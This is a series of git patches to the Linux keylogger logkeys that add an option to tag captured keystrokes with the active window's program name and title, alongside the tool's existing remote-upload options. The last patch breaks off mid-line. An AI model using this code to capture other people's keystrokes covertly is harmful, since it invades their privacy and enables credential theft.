From 40d43bfaa65349e36c871c307c7132e3f74708d7 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Mon, 25 Jul 2016 18:28:28 +0200 Subject: [PATCH 01/12] copied modifications i made to an on older version to the current one --- src/logkeys.cc | 80 ++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 77 insertions(+), 3 deletions(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index 58bf5b8..b10bcda 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -23,6 +23,8 @@ #include <sys/stat.h> #include <sys/socket.h> #include <linux/input.h> +///added +#include <X11/Xlib.h> #ifdef HAVE_CONFIG_H # include <config.h> // include config produced from ./configure @@ -46,6 +48,10 @@ #endif #define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" ) +////added 3 lines -maybe unnecessary +#define COMMAND_STR_DEVICES EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE " +#define COMMAND_STR_DEVICES1 ( COMMAND_STR_DEVICES "'[Kk]eyboard|kbd'" ) +#define COMMAND_STR_DEVICES2 ( COMMAND_STR_DEVICES "'HID'" ) #define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() ) #define INPUT_EVENT_PATH "/dev/input/" // standard path @@ -58,6 +64,32 @@ #include "upload.cc" // functions concerning remote uploading of log file namespace logkeys { +////added made myself +std::string getCurrentWindowName() +{ + Display *display; + Window focus; + int revert; + char *window_name; + + //getcurrentwindowname + display = XOpenDisplay(NULL); + if(XGetInputFocus(display, &focus, &revert)==0) + return "{}"; + if(XFetchName(display, focus, &window_name)==0) + return "{}"; + + std::string result(window_name); + + return "{"+result+"}"; +} +bool is_number(const std::string& s) +{ + std::string::const_iterator it = s.begin(); + while (it != s.end() && std::isdigit(*it)) ++it; + return !s.empty() && it == s.end(); +} + // executes cmd and returns string ouput std::string execute(const char* cmd) @@ -330,6 +362,15 @@ void determine_input_device() setegid(65534); seteuid(65534); // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) + ////added es index ==-1 stott results.size().... + /*std::string output = execute(COMMAND_STR_DEVICES1); + + int index = atoi(output.c_str()) - 1; + if (index == -1) { + output = execute(COMMAND_STR_DEVICES2); + index = atoi(output.c_str()) - 1; + } + if (index == -1) {*/ // The compiler automatically concatenates these adjacent strings to a single string. const char* cmd = EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | " EXE_GREP " -B1 'EV=1[02]001[3Ff]' | " @@ -472,7 +513,20 @@ int main(int argc, char **argv) file_size += fprintf(out, "Logging started at %s\n\n", timestamp); else file_size += fprintf(out, "Logging started ...\n\n%s", timestamp); + ////addded + /*strftime(timestamp, sizeof(timestamp), "%z", localtime(&cur_time)); + file_size += fprintf(stdout, "Logging started UTC %s (100=1h)...\n\n%s", timestamp); + strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));*/ fflush(out); + + ////added myself + /*std::string curprocessname = ""; + std::string curwindowname = ""; + std::string programname = ""; + std::string oldwid = ""; + std::string wid= ""; + bool windowchanged = false; + bool firststart = true;*/ // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { @@ -548,6 +602,23 @@ int main(int argc, char **argv) // on key press if (event.value == EV_MAKE) { + ////added + if (!firststart) { + wid = execute("getwindowpid $(xdotool getwindowfocus)"); + if (isnumber(wid)) + curprocessname = execute("tr -d '\n' < /proc/"+wid+"/comm"); //update curprocessname + else + curprocessname = "unknown pid"; + } + if (!firststart && (wid != oldwid)) { + curwindowname = getCurrentWindowName(); + programname = "["+curprocessname+"]"+curwindowname+ " > "; + windowchanged = true; + } + else + windowchanged = false; + if (windowchanged) + inc_size += fprintf(stdout, "%s%s", timestamp, programname.c_str()); // then newline and timestamp // on ENTER key or Ctrl+C/Ctrl+D event append timestamp if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || @@ -555,10 +626,10 @@ int main(int argc, char **argv) if (ctrl_in_effect) inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D if (args.flags & FLAG_NO_TIMESTAMPS) - inc_size += fprintf(out, "\n"); + inc_size += fprintf(out, "%s\n", programname.c_str()) else { strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); - inc_size += fprintf(out, "%s", timestamp); // then newline and timestamp + inc_size += fprintf(out, "%s%s", timestamp, programname.c_str()); // then newline and timestamp } if (inc_size > 0) file_size += inc_size; continue; // but don't log "<Enter>" @@ -597,11 +668,14 @@ int main(int argc, char **argv) if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); } - else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { + else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { ////shouldn tab be separate inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys } } else inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error + ////added + firststart = false; + oldwid = wid; } // if (EV_MAKE) // on key release From 7475d35b52c2c388370d194e47192fce936e73c4 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Mon, 25 Jul 2016 19:30:54 +0200 Subject: [PATCH 02/12] code cleaned up. ready to test. --- src/logkeys.cc | 54 +++++++++++++++++++++++++------------------------- 1 file changed, 27 insertions(+), 27 deletions(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index b10bcda..ec09444 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -65,7 +65,7 @@ namespace logkeys { ////added made myself -std::string getCurrentWindowName() +std::string get_current_window_name() { Display *display; Window focus; @@ -83,14 +83,13 @@ std::string getCurrentWindowName() return "{"+result+"}"; } -bool is_number(const std::string& s) +bool check_if_number(const std::string& s) { std::string::const_iterator it = s.begin(); while (it != s.end() && std::isdigit(*it)) ++it; return !s.empty() && it == s.end(); } - // executes cmd and returns string ouput std::string execute(const char* cmd) { @@ -519,14 +518,14 @@ int main(int argc, char **argv) strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));*/ fflush(out); - ////added myself - /*std::string curprocessname = ""; - std::string curwindowname = ""; - std::string programname = ""; - std::string oldwid = ""; - std::string wid= ""; - bool windowchanged = false; - bool firststart = true;*/ + ////various strings to store the window name + std::string curr_process_name, + cur_window_name, + program_name, + old_window_id, + window_id; + bool window_changed = false, + first_start = true; // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { @@ -603,22 +602,23 @@ int main(int argc, char **argv) // on key press if (event.value == EV_MAKE) { ////added - if (!firststart) { - wid = execute("getwindowpid $(xdotool getwindowfocus)"); - if (isnumber(wid)) - curprocessname = execute("tr -d '\n' < /proc/"+wid+"/comm"); //update curprocessname + if (!first_start) { + window_id = execute("getwindowpid $(xdotool getwindowfocus)"); + if (check_if_number(window_id)) ////better + curr_process_name = execute("tr -d '\n' < /proc/"+window_id+"/comm"); //update curr_process_name else - curprocessname = "unknown pid"; + curr_process_name = "unknown pid"; ////is this even possible } - if (!firststart && (wid != oldwid)) { - curwindowname = getCurrentWindowName(); - programname = "["+curprocessname+"]"+curwindowname+ " > "; - windowchanged = true; + if (!first_start && (window_id != old_window_id)) { + cur_window_name = get_current_window_name(); + program_name = "["+curr_process_name+"]"+cur_window_name+ " > "; + window_changed = true; } else - windowchanged = false; - if (windowchanged) - inc_size += fprintf(stdout, "%s%s", timestamp, programname.c_str()); // then newline and timestamp + window_changed = false; + + if (window_changed) + inc_size += fprintf(stdout, "%s%s", timestamp, program_name.c_str()); // then newline and timestamp // on ENTER key or Ctrl+C/Ctrl+D event append timestamp if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || @@ -626,10 +626,10 @@ int main(int argc, char **argv) if (ctrl_in_effect) inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D if (args.flags & FLAG_NO_TIMESTAMPS) - inc_size += fprintf(out, "%s\n", programname.c_str()) + inc_size += fprintf(out, "%s\n", program_name.c_str()) else { strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); - inc_size += fprintf(out, "%s%s", timestamp, programname.c_str()); // then newline and timestamp + inc_size += fprintf(out, "%s%s", timestamp, program_name.c_str()); // then newline and timestamp } if (inc_size > 0) file_size += inc_size; continue; // but don't log "<Enter>" @@ -674,8 +674,8 @@ int main(int argc, char **argv) } else inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error ////added - firststart = false; - oldwid = wid; + first_start = false; + old_window_id = window_id; } // if (EV_MAKE) // on key release From 982e23f015ede0438fccc60a6489437388c31ba6 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Wed, 27 Jul 2016 18:24:45 +0200 Subject: [PATCH 03/12] added improved commands for finding window names. changed logging messages in main while loop --- src/logkeys.cc | 138 +++++++++++++++++++++---------------------------- 1 file changed, 58 insertions(+), 80 deletions(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index ec09444..a53e696 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -23,8 +23,6 @@ #include <sys/stat.h> #include <sys/socket.h> #include <linux/input.h> -///added -#include <X11/Xlib.h> #ifdef HAVE_CONFIG_H # include <config.h> // include config produced from ./configure @@ -48,12 +46,15 @@ #endif #define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" ) -////added 3 lines -maybe unnecessary -#define COMMAND_STR_DEVICES EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE " -#define COMMAND_STR_DEVICES1 ( COMMAND_STR_DEVICES "'[Kk]eyboard|kbd'" ) -#define COMMAND_STR_DEVICES2 ( COMMAND_STR_DEVICES "'HID'" ) #define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() ) +#define COMMAND_STR_DEVICE EXE_GREP " -E 'Handlers|EV' /proc/bus/input/devices | " EXE_GREP " -B1 120013 | " EXE_GREP " -Eo event[0-9]+" + +// active window id, title, name +#define COMMAND_STR_AWID "xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2" +#define COMMAND_STR_AWTITLE "xprop -id $(" COMMAND_STR_AWID ") _NET_WM_NAME | awk '{print $3}'" +#define COMMAND_STR_AWPNAME "xprop -id $(" COMMAND_STR_AWID ") WM_CLASS | awk '{print $4}' | sed 's:^.\\(.*\\).$:\\1:'" + #define INPUT_EVENT_PATH "/dev/input/" // standard path #define DEFAULT_LOG_FILE "/var/log/logkeys.log" #define PID_FILE "/var/run/logkeys.pid" @@ -64,31 +65,6 @@ #include "upload.cc" // functions concerning remote uploading of log file namespace logkeys { -////added made myself -std::string get_current_window_name() -{ - Display *display; - Window focus; - int revert; - char *window_name; - - //getcurrentwindowname - display = XOpenDisplay(NULL); - if(XGetInputFocus(display, &focus, &revert)==0) - return "{}"; - if(XFetchName(display, focus, &window_name)==0) - return "{}"; - - std::string result(window_name); - - return "{"+result+"}"; -} -bool check_if_number(const std::string& s) -{ - std::string::const_iterator it = s.begin(); - while (it != s.end() && std::isdigit(*it)) ++it; - return !s.empty() && it == s.end(); -} // executes cmd and returns string ouput std::string execute(const char* cmd) @@ -105,6 +81,36 @@ std::string execute(const char* cmd) return result; } +////old version that needs #include <X11/Xlib.h> +/* +std::string get_current_window_name() +{ + + std::string result = execute(COMMAND_STR_AWPNAME); + + return "{"+result+"}"; + + + ////old version, X11 needed + Display *display; + Window focus; + int revert; + char *window_name; + std::string result; + + //getcurrentwindowname + display = XOpenDisplay(NULL); + if(XGetInputFocus(display, &focus, &revert)==0) + return "{}"; + if(XFetchName(display, focus, &window_name)==0) + return "{}"; + + result = window_name; + + return "{"+result+"}"; +}*/ +//// + int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it @@ -361,19 +367,8 @@ void determine_input_device() setegid(65534); seteuid(65534); // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) - ////added es index ==-1 stott results.size().... - /*std::string output = execute(COMMAND_STR_DEVICES1); - - int index = atoi(output.c_str()) - 1; - if (index == -1) { - output = execute(COMMAND_STR_DEVICES2); - index = atoi(output.c_str()) - 1; - } - if (index == -1) {*/ // The compiler automatically concatenates these adjacent strings to a single string. - const char* cmd = EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | " - EXE_GREP " -B1 'EV=1[02]001[3Ff]' | " - EXE_GREP " -Eo 'event[0-9]+' "; + const char* cmd = COMMAND_STR_DEVICE; std::stringstream output(execute(cmd)); std::vector<std::string> results; @@ -511,22 +506,16 @@ int main(int argc, char **argv) if (args.flags & FLAG_NO_TIMESTAMPS) file_size += fprintf(out, "Logging started at %s\n\n", timestamp); else - file_size += fprintf(out, "Logging started ...\n\n%s", timestamp); - ////addded - /*strftime(timestamp, sizeof(timestamp), "%z", localtime(&cur_time)); - file_size += fprintf(stdout, "Logging started UTC %s (100=1h)...\n\n%s", timestamp); - strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));*/ + file_size += fprintf(out, "Logging started ...\n\n"); + fflush(out); - - ////various strings to store the window name - std::string curr_process_name, - cur_window_name, - program_name, - old_window_id, - window_id; - bool window_changed = false, - first_start = true; + std::string window_id; + std::string old_window_id; + std::string cur_process_name; + std::string cur_window_name; + std::string program_info; + // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { @@ -598,38 +587,28 @@ int main(int argc, char **argv) } count_repeats = 0; // reset count for future use } - + // on key press if (event.value == EV_MAKE) { - ////added - if (!first_start) { - window_id = execute("getwindowpid $(xdotool getwindowfocus)"); - if (check_if_number(window_id)) ////better - curr_process_name = execute("tr -d '\n' < /proc/"+window_id+"/comm"); //update curr_process_name - else - curr_process_name = "unknown pid"; ////is this even possible - } - if (!first_start && (window_id != old_window_id)) { - cur_window_name = get_current_window_name(); - program_name = "["+curr_process_name+"]"+cur_window_name+ " > "; - window_changed = true; + //// write [process name] "process title" > + window_id = execute(COMMAND_STR_AWID); + if (window_id.compare(old_window_id) != 0) { // diff window + cur_process_name = execute(COMMAND_STR_AWPNAME); + cur_window_name = execute(COMMAND_STR_AWTITLE); + program_info = "[" + cur_process_name.erase(cur_process_name.size() - 1) + "] " + cur_window_name.erase(cur_window_name.size() - 1) + " > "; // delete newline (why are newlines) + inc_size += fprintf(out, "%s%s", timestamp, program_info.c_str()); // then newline and timestamp } - else - window_changed = false; - if (window_changed) - inc_size += fprintf(stdout, "%s%s", timestamp, program_name.c_str()); // then newline and timestamp - // on ENTER key or Ctrl+C/Ctrl+D event append timestamp if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { if (ctrl_in_effect) inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D if (args.flags & FLAG_NO_TIMESTAMPS) - inc_size += fprintf(out, "%s\n", program_name.c_str()) + inc_size += fprintf(out, "%s\n", program_info.c_str()); else { strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); - inc_size += fprintf(out, "%s%s", timestamp, program_name.c_str()); // then newline and timestamp + inc_size += fprintf(out, "%s%s", timestamp, program_info.c_str()); // then newline and timestamp } if (inc_size > 0) file_size += inc_size; continue; // but don't log "<Enter>" @@ -668,13 +647,12 @@ int main(int argc, char **argv) if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); } - else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { ////shouldn tab be separate + else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { //// shouldn't tab get an extra function key code? inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys } } else inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error - ////added - first_start = false; + old_window_id = window_id; } // if (EV_MAKE) From 2a4634868645e16af3804f56bfd7d22380b3407b Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Thu, 28 Jul 2016 19:33:36 +0200 Subject: [PATCH 04/12] Final resume: Mission: Add possibility to include Program and Window name in logs Added argument "--programinfo" The code "on key press (EV_MAKE)" was split into 2 functions, one for newlines and one to encode the scan_codes Added check for program change, which triggers a newline Commented old function that required X11 Cleaned up code On branch windowname-no-x11 Changes to be committed: modified: src/args.cc modified: src/logkeys.cc Untracked files: keymap.map test.log --- src/args.cc | 15 ++-- src/logkeys.cc | 197 +++++++++++++++++++++++++------------------------ 2 files changed, 108 insertions(+), 104 deletions(-) diff --git a/src/args.cc b/src/args.cc index fc1a316..940b1d2 100644 --- a/src/args.cc +++ b/src/args.cc @@ -30,9 +30,10 @@ struct arguments #define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used #define FLAG_NO_FUNC_KEYS 0x2 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch #define FLAG_NO_TIMESTAMPS 0x4 // don't log timestamps, --no-timestamps switch -#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch -#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch -#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size +#define FLAG_PROGRAMINFO 0x8 // log program name and window title, --programinfo switch +#define FLAG_POST_HTTP 0x10 // post log to remote HTTP server, --post-http switch +#define FLAG_POST_IRC 0x20 // post log to remote IRC server, --post-irc switch +#define FLAG_POST_SIZE 0x40 // post log to remote HTTP or IRC server when log of size optarg, --post-size } args = {0}; // default all args to 0x0 or "" @@ -51,6 +52,7 @@ void process_command_line_arguments(int argc, char **argv) {"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP}, {"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS}, {"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS}, + {"programinfo", no_argument, &flags, FLAG_PROGRAMINFO}, {"post-http", required_argument, &flags, FLAG_POST_HTTP}, {"post-irc", required_argument, &flags, FLAG_POST_IRC}, {"post-size", required_argument, &flags, FLAG_POST_SIZE}, @@ -59,7 +61,7 @@ void process_command_line_arguments(int argc, char **argv) char c; int option_index; - + while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1) { switch (c) @@ -71,8 +73,9 @@ void process_command_line_arguments(int argc, char **argv) case 'k': args.kill = true; break; case 'd': args.device = optarg; break; - case 0 : + case 0 : args.flags |= flags; + switch (flags) { case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break; @@ -111,7 +114,7 @@ void process_command_line_arguments(int argc, char **argv) default : usage(); exit(EXIT_FAILURE); } } // while - + while(optind < argc) error(0, 0, "Non-option argument %s", argv[optind++]); } diff --git a/src/logkeys.cc b/src/logkeys.cc index a53e696..d052bde 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -59,6 +59,8 @@ #define DEFAULT_LOG_FILE "/var/log/logkeys.log" #define PID_FILE "/var/run/logkeys.pid" +#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ + #include "usage.cc" // usage() function #include "args.cc" // global arguments struct and arguments parsing #include "keytables.cc" // character and function key tables and helper functions @@ -81,37 +83,6 @@ std::string execute(const char* cmd) return result; } -////old version that needs #include <X11/Xlib.h> -/* -std::string get_current_window_name() -{ - - std::string result = execute(COMMAND_STR_AWPNAME); - - return "{"+result+"}"; - - - ////old version, X11 needed - Display *display; - Window focus; - int revert; - char *window_name; - std::string result; - - //getcurrentwindowname - display = XOpenDisplay(NULL); - if(XGetInputFocus(display, &focus, &revert)==0) - return "{}"; - if(XFetchName(display, focus, &window_name)==0) - return "{}"; - - result = window_name; - - return "{"+result+"}"; -}*/ -//// - - int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it void signal_handler(int signal) @@ -402,6 +373,59 @@ void determine_input_device() seteuid(0); setegid(0); } +// write newline then add timestamp and programinfo +////event is wrong use refercen or pointer +inline int newline(FILE *& out, struct input_event event, bool program_changed, std::string program_info) { + char timestamp[32]; + int inc_size = fprintf(out, "\n"); + + if (!(args.flags & FLAG_NO_TIMESTAMPS)) { + strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&event.time.tv_sec)); + inc_size += fprintf(out, "%s", timestamp); + } + if (program_changed) + inc_size += fprintf(out, "%s", program_info.c_str()); + + return inc_size; +} + +inline int encode_char(FILE *& out, unsigned int scan_code, bool altgr_in_effect, bool shift_in_effect) { + int inc_size = 0; + if (is_char_key(scan_code)) { + wchar_t wch; + if (altgr_in_effect) { + wch = altgr_keys[to_char_keys_index(scan_code)]; + if (wch == L'\0') { + if(shift_in_effect) + wch = shift_keys[to_char_keys_index(scan_code)]; + else + wch = char_keys[to_char_keys_index(scan_code)]; + } + } + else if (shift_in_effect) { + wch = shift_keys[to_char_keys_index(scan_code)]; + if (wch == L'\0') + wch = char_keys[to_char_keys_index(scan_code)]; + } + else // neither altgr nor shift are effective, this is a normal char + wch = char_keys[to_char_keys_index(scan_code)]; + + if (wch != L'\0') + inc_size += fprintf(out, "%lc", wch); // write character to log file + } + else if (is_func_key(scan_code)) { + if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested + inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); + } + else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { + inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys + } + } + else + inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error + + return inc_size; +} int main(int argc, char **argv) { @@ -500,7 +524,6 @@ int main(int argc, char **argv) time_t cur_time; time(&cur_time); -#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); if (args.flags & FLAG_NO_TIMESTAMPS) @@ -509,13 +532,15 @@ int main(int argc, char **argv) file_size += fprintf(out, "Logging started ...\n\n"); fflush(out); - + + //// programinfo std::string window_id; std::string old_window_id; std::string cur_process_name; std::string cur_window_name; std::string program_info; - + bool program_changed = false; + // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { @@ -534,7 +559,20 @@ int main(int argc, char **argv) if (inc_size > 0) file_size += inc_size; continue; } - + + //// on processid change update program_info write '[process name] "process title" > ' + //// on process title change (like firefox tabs) would be better. possibly more ressource intensive? + if (args.flags & FLAG_PROGRAMINFO) { + window_id = execute(COMMAND_STR_AWID); + + if (window_id.compare(old_window_id) != 0) { + cur_process_name = execute(COMMAND_STR_AWPNAME); + cur_window_name = execute(COMMAND_STR_AWTITLE); + program_info = "[" + cur_process_name.erase(cur_process_name.size() - 1) + "] " + cur_window_name.erase(cur_window_name.size() - 1) + " > "; // delete newline (why are newlines) + program_changed = true; + } + } + // if remote posting is enabled and size treshold is reached if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { fclose(out); @@ -573,7 +611,9 @@ int main(int argc, char **argv) } } } - + + ////possible conflict if key repeated and program changed??? + // on key repeat ; must check before on key press if (event.value == EV_REPEAT) { ++count_repeats; @@ -590,70 +630,24 @@ int main(int argc, char **argv) // on key press if (event.value == EV_MAKE) { - //// write [process name] "process title" > - window_id = execute(COMMAND_STR_AWID); - if (window_id.compare(old_window_id) != 0) { // diff window - cur_process_name = execute(COMMAND_STR_AWPNAME); - cur_window_name = execute(COMMAND_STR_AWTITLE); - program_info = "[" + cur_process_name.erase(cur_process_name.size() - 1) + "] " + cur_window_name.erase(cur_window_name.size() - 1) + " > "; // delete newline (why are newlines) - inc_size += fprintf(out, "%s%s", timestamp, program_info.c_str()); // then newline and timestamp + // on ENTER key or Ctrl+C/Ctrl+D event append timestamp and programinfo + if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER) { + inc_size += newline(out, event, program_changed, program_info); } - - // on ENTER key or Ctrl+C/Ctrl+D event append timestamp - if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || - (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { - if (ctrl_in_effect) - inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D - if (args.flags & FLAG_NO_TIMESTAMPS) - inc_size += fprintf(out, "%s\n", program_info.c_str()); - else { - strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); - inc_size += fprintf(out, "%s%s", timestamp, program_info.c_str()); // then newline and timestamp - } - if (inc_size > 0) file_size += inc_size; - continue; // but don't log "<Enter>" - } - - if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) - shift_in_effect = true; - if (scan_code == KEY_RIGHTALT) - altgr_in_effect = true; - if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) - ctrl_in_effect = true; - - // print character or string coresponding to received keycode; only print chars when not \0 - if (is_char_key(scan_code)) { - wchar_t wch; - if (altgr_in_effect) { - wch = altgr_keys[to_char_keys_index(scan_code)]; - if (wch == L'\0') { - if(shift_in_effect) - wch = shift_keys[to_char_keys_index(scan_code)]; - else - wch = char_keys[to_char_keys_index(scan_code)]; - } - } - else if (shift_in_effect) { - wch = shift_keys[to_char_keys_index(scan_code)]; - if (wch == L'\0') - wch = char_keys[to_char_keys_index(scan_code)]; - } - else // neither altgr nor shift are effective, this is a normal char - wch = char_keys[to_char_keys_index(scan_code)]; - - if (wch != L'\0') inc_size += fprintf(out, "%lc", wch); // write character to log file + else if (program_changed || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { + inc_size += newline(out, event, program_changed, program_info); + inc_size += encode_char(out, scan_code, altgr_in_effect, shift_in_effect); } - else if (is_func_key(scan_code)) { - if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested - inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); - } - else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { //// shouldn't tab get an extra function key code? - inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys - } + else { // normal char + if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) + shift_in_effect = true; + if (scan_code == KEY_RIGHTALT) + altgr_in_effect = true; + if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) + ctrl_in_effect = true; + + inc_size += encode_char(out, scan_code, altgr_in_effect, shift_in_effect); // print character or string coresponding to received keycode; only print chars when not \0 } - else inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error - - old_window_id = window_id; } // if (EV_MAKE) // on key release @@ -665,10 +659,17 @@ int main(int argc, char **argv) if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) ctrl_in_effect = false; } + + // update program id + if (args.flags & FLAG_PROGRAMINFO) { + old_window_id = window_id; + program_changed = false; + } prev_code = scan_code; fflush(out); - if (inc_size > 0) file_size += inc_size; + if (inc_size > 0) + file_size += inc_size; } // while (read(input_fd)) From dc7690b593e6ac884412733615782be11976130d Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Fri, 29 Jul 2016 15:09:20 +0200 Subject: [PATCH 05/12] usage info now includes voice "--programinfo" --- src/usage.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/usage.cc b/src/usage.cc index c734614..03f1a85 100644 --- a/src/usage.cc +++ b/src/usage.cc @@ -27,6 +27,7 @@ void usage() " --export-keymap=FILE export configured keymap to FILE and exit\n" " --no-func-keys log only character keys\n" " --no-timestamps don't prepend timestamps to log file lines\n" +" --programinfo add active window program name and window title to log file\n" " --post-http=URL POST log to URL as multipart/form-data file\n" //" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n" " --post-size=SIZE post log file when size equals SIZE [500k]\n" From d5bec799bc4629430db38db2854baf5b7fa6b673 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Fri, 29 Jul 2016 15:22:58 +0200 Subject: [PATCH 06/12] fixed bug where window title got truncated --- src/logkeys.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index d052bde..10a2b9a 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -52,7 +52,7 @@ // active window id, title, name #define COMMAND_STR_AWID "xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2" -#define COMMAND_STR_AWTITLE "xprop -id $(" COMMAND_STR_AWID ") _NET_WM_NAME | awk '{print $3}'" +#define COMMAND_STR_AWTITLE "xprop -id $(" COMMAND_STR_AWID ") _NET_WM_NAME" #define COMMAND_STR_AWPNAME "xprop -id $(" 